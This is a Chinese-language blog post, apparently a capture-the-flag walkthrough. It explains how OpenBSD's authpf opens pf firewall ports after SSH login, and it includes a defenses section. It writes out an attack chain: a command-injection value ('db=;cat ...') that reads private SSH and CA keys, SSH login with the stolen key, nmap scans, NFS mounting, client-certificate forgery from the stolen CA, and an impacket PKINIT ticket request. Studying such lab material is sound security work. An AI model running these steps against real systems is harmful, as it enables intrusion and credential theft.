目录
Shell设置为/usr/sbin/authpf的作用与含义
创作不易 点个赞吧! 哈哈哈
🔍 1. Authpf概述与Shell设置的作用
什么是Authpf?
authpf
是OpenBSD提供的一种认证防火墙工具,通过SSH认证动态修改pf
(Packet Filter)防火墙规则,控制用户网络访问权限。其核心功能是:
用户通过SSH登录,触发
authpf
加载特定pf
规则,允许用户IP访问特定服务或端口。用户断开SSH会话后,规则自动移除,确保访问权限临时性。
Shell设置为/usr/sbin/authpf
的作用与含义
作用:
将用户的登录Shell设置为
/usr/sbin/authpf
(如案例中的nfsuser
),意味着用户通过SSH登录时,不会获得传统交互式Shell(如/bin/sh
),而是由authpf
接管,执行防火墙规则修改。登录成功后,
authpf
根据用户身份加载预定义的pf
规则(如/etc/authpf/users/nfsuser/authpf.rules
),允许用户IP访问特定服务(如NFS、HTTP)。断开SSH后,
authpf
移除规则,关闭访问权限。
含义:
提供细粒度的访问控制,基于用户身份而非固定IP,适合动态IP环境(如无线网络)。
实现类似Captive Portal或VPN的认证机制,限制未认证用户访问网络资源。
案例关联:
在
/etc/passwd
中,nfsuser:x:1002:1002::/home/nfsuser:/usr/sbin/authpf
表明nfsuser
使用authpf
作为Shell,SSH登录将触发防火墙规则修改,开放特定端口(如8081)。
🛠️ 2. Authpf工作原理与防火墙绕过机制
技术栈
工具:
authpf
(认证Shell)、pf
(OpenBSD防火墙)、OpenSSH(认证协议)、Nmap(端口扫描)。配置文件:
/etc/authpf/authpf.conf
:全局配置(可为空但必须存在)。/etc/authpf/authpf.rules
:默认规则,适用于无用户特定规则的情况。/etc/authpf/users/<username>/authpf.rules
:用户特定规则。/etc/pf.conf
:主防火墙规则,包含authpf
锚点。
协议:SSH(认证)、PF(规则管理)、TCP/UDP(网络流量)。
工作原理
SSH认证:
用户以
authpf
作为Shell(如nfsuser
)通过SSH登录,系统调用/usr/sbin/authpf
。authpf
验证用户身份,获取登录IP(如10.10.16.22
)。
规则加载:
authpf
读取用户特定规则(如/etc/authpf/users/nfsuser/authpf.rules
)或默认规则(/etc/authpf/authpf.rules
)。规则通过
pfctl
加载到pf
锚点(如authpf/nfsuser(PID)
),允许用户IP访问特定服务(如8081
端口)。
规则移除:
用户断开SSH后,
authpf
移除锚点规则,恢复默认防火墙限制。
防火墙绕过机制
默认限制:
pf
默认阻止非必要流量(如案例中的block all
策略)。动态开放:SSH认证后,
authpf
添加规则(如pass in quick on $wifi_if proto tcp from $user_ip to any port 8081
),允许用户IP访问受限服务。渗透测试中的利用:
攻击者通过获取SSH凭据(如案例中的
nfs.key
)登录,触发authpf
开放端口。使用Nmap扫描发现新开放端口(如8081),进一步利用服务漏洞。
Shell关联
authpf
作为Shell接管用户登录,不提供交互式终端,而是执行防火墙规则管理。SSH认证成功后,
authpf
基于用户身份和IP动态调整pf
规则,控制网络访问。
🌐 3. Authpf与SSH认证及服务探测的关联
关联机制
SSH认证:
用户通过SSH登录(如
ssh -i nfs.key nfsuser@10.129.2.232
),authpf
验证成功后加载规则,允许用户IP访问特定服务。
服务探测:
认证前,Nmap扫描可能仅发现少量开放端口(如22/SSH)。
认证后,
authpf
开放新端口(如8081),Nmap扫描可检测这些变化,揭示隐藏服务。
案例中的关联:
登录
nfsuser
后,authpf
加载规则,开放8081端口。Nmap扫描(
nmap -T4 -p- 10.129.2.232 -Pn
)发现新端口,表明防火墙规则已动态修改。
渗透测试与红队流程
信息收集:
使用Nmap进行初始扫描(
nmap -T4 10.129.2.232
),识别开放端口(如22)。发现
authpf
用户(如nfsuser
)通过/etc/passwd
。
凭据获取:
通过命令注入(如
db=;cat /home/bob/ca/intermediate/certs/nfs.key
)获取SSH私钥。
SSH登录:
使用私钥登录(
ssh -i nfs.key nfsuser@10.129.2.232
),触发authpf
规则加载。
端口扫描:
再次运行Nmap(
nmap -T4 -p- 10.129.2.232 -Pn
),发现新端口(如8081、NFS、RPC)。
服务利用:
访问8081端口(如
http://10.129.2.232:8081
),分析服务功能。利用NFS服务(如
mount -t nfs 10.129.2.232:/home/nfsuser /mnt
)获取文件系统访问。
为何进行Nmap认证后扫描
目的:验证
authpf
是否开放新端口,识别隐藏服务。原因:
authpf
基于认证动态修改防火墙规则,初始扫描可能无法发现受限服务。认证后扫描可揭示新开放端口(如8081、2049/NFS),为后续利用提供目标。
红队意义:
发现隐藏服务(如管理接口、NFS共享)。
结合漏洞(如NFS未启用
root_squash
),实现权限提升或横向移动。
🚀 4. 案例分析:SSH认证后端口开放原理
案例背景
漏洞:命令注入(
POST /select
)获取CA文件和SSH私钥(nfs.key
)。目标:通过
authpf
认证,开放端口(如8081),访问受限服务。
为何SSH认证后可访问8081端口
原理:
默认状态下,
pf
防火墙阻止8081端口访问。nfsuser
的Shell为/usr/sbin/authpf
,登录后触发规则加载(如pass in quick on $wifi_if proto tcp from $user_ip to any port 8081
)。规则基于用户IP(
10.10.16.22
)开放8081端口。
技术栈:
OpenSSH:处理认证,验证
nfs.key
。authpf:加载用户特定规则(
/etc/authpf/users/nfsuser/authpf.rules
)。pf:动态修改防火墙规则,允许TCP流量到8081。
前后关联:
前置:通过命令注入获取
nfs.key
(db=;cat /home/bob/ca/intermediate/certs/nfs.key
)。认证:SSH登录触发
authpf
规则加载。后置:Nmap扫描发现8081端口开放,浏览器访问
http://10.129.2.232:8081
确认服务。
多端口探测原理
Nmap扫描(
nmap -T4 -p- 10.129.2.232 -Pn
):-T4
:加速扫描。-p-
:扫描全端口(1-65535)。-Pn
:跳过主机发现,直接扫描。
结果:发现8081、2049(NFS)、111(RPC)等端口,表明
authpf
规则放通多个服务。原因:
authpf
规则可能包含多端口放行(如pass in quick on $wifi_if proto tcp from $user_ip to any port { ssh, http, https, 8081, 2049 }
)。
🧩 5. 补充知识点
Authpf配置细节
/etc/authpf/authpf.allow:指定允许认证的用户(如
nfsuser
),*
表示允许所有用户。/etc/authpf/authpf.banned:禁止用户名单,优先级高于
authpf.allow
。/etc/authpf/authpf.message:自定义登录消息(如案例中的
Hello nfsuser. You are authenticated from host "10.10.16.22"
)。锚点机制:
规则加载到
authpf/<username>(PID)
锚点,确保用户隔离。示例:
nat-anchor "authpf/*"
,rdr-anchor "authpf/*"
,anchor "authpf/*"
。
渗透测试中的其他利用
SSH会话劫持:
攻击者可尝试劫持SSH会话,维持
authpf
规则有效。防御:配置
/etc/ssh/sshd_config
启用ClientAliveInterval 15
和ClientAliveCountMax 3
,60秒内断开劫持会话。
NFS服务利用:
showmount -e 10.129.2.232 mount -t nfs 10.129.2.232:/home/nfsuser /mnt
如果
authpf
开放2049端口,可挂载NFS共享:检查
root_squash
配置,若未启用,可提权。
RPC服务利用:
端口111(RPC)可能暴露
rpcbind
服务,使用rpcinfo -p 10.129.2.232
枚举服务。
Nmap扫描技术
SYN扫描(
nmap -sS
):快速,检测开放/关闭端口。ACK扫描(
nmap -sA
):识别防火墙过滤端口。FIN/NULL/Xmas扫描(
nmap -sF/-sN/-sX
):绕过简单防火墙,检测开放端口。案例关联:认证后使用全端口扫描(
-p-
)发现authpf
开放的服务。
📊 6. 完整案例:利用Authpf绕过防火墙
案例背景
目标:Web服务器(
10.129.2.232
)运行OpenBSD,存在命令注入漏洞(/select
)和authpf
认证机制。目标服务:8081端口(HTTP)、2049(NFS)、111(RPC)。
前提:通过命令注入获取
nfs.key
和CA文件。
完整步骤(补充原文不足)
初始扫描:
nmap -T4 10.129.2.232
命令注入获取凭据:
db=;cat /home/bob/ca/intermediate/certs/nfs.key
SSH登录:
ssh -i nfs.key nfsuser@10.129.2.232
二次扫描:
nmap -T4 -p- 10.129.2.232 -Pn
访问8081端口:
浏览器访问
http://10.129.2.232:8081
,确认服务功能。
NFS利用:
showmount -e 10.129.2.232 mount -t nfs 10.129.2.232:/home/nfsuser /mnt
伪造客户端证书(结合原文):
db=;cat /home/bob/ca/intermediate/certs/intermediate.cert.pem db=;cat /home/bob/ca/intermediate/private/intermediate.key.pem openssl genrsa -out client.key 2048 openssl req -new -key client.key -out client.csr openssl x509 -req -in client.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out client.pem -days 1024 -sha256 openssl pkcs12 -export -out client.pfx -inkey client.key -in client.pem -certfile intermediate.cert.pem
获取CA文件:
生成证书:
导入Firefox,访问
https://fortune.htb/admin
。
AD域利用:
impacket-getTGT -dc-ip 10.129.2.232 -cert-pfx client.pfx -pfx-pass password123 fortune.htb/client1
使用证书进行PKINIT攻击:
🧠 7. Authpf与渗透测试/红队的技术水平
技术水平要求
初级:
理解SSH认证和Nmap扫描基础。
执行命令注入,获取
nfs.key
。
中级:
熟悉
authpf
机制,分析防火墙规则。使用Nmap高级扫描(如FIN/NULL)绕过过滤。
高级:
结合客户端证书伪造,访问mTLS服务。
利用NFS或PKINIT进行权限提升和横向移动。
红队应用
认证绕过:通过
authpf
开放端口,访问隐藏服务。持久化:维持SSH会话或伪造证书,确保长期访问。
横向移动:利用NFS共享或AD域接口,扩展攻击面。
🛡️ 8. 防御措施
限制SSH访问:
配置
/etc/ssh/sshd_config
限制AllowUsers nfsuser
。启用
ClientAliveInterval
防止会话劫持。
保护CA文件:
限制
/home/bob/ca/
目录权限,防止命令注入泄露。
authpf配置:
使用
authpf.banned
禁止高危用户。限制规则放行端口,仅允许必要服务。
Nmap防御:
配置
pf
检测异常扫描(如block in quick proto tcp flags F/F
)。
AD域防护:
禁用PKINIT或限制信任CA。
监控异常TGT请求。
🔚 9. 总结
authpf
是OpenBSD的强大认证防火墙工具,通过SSH认证动态修改pf
规则,实现细粒度访问控制。在渗透测试中,攻击者可利用命令注入获取SSH凭据,触发authpf
开放端口(如8081、NFS),结合Nmap扫描发现隐藏服务,进一步利用客户端证书伪造访问mTLS保护的AD域资源。- 本文章展示了从漏洞发现到权限提升的完整流程,强调了技术栈的深度和逻辑关联。防御需从SSH配置、CA保护和防火墙规则优化入手。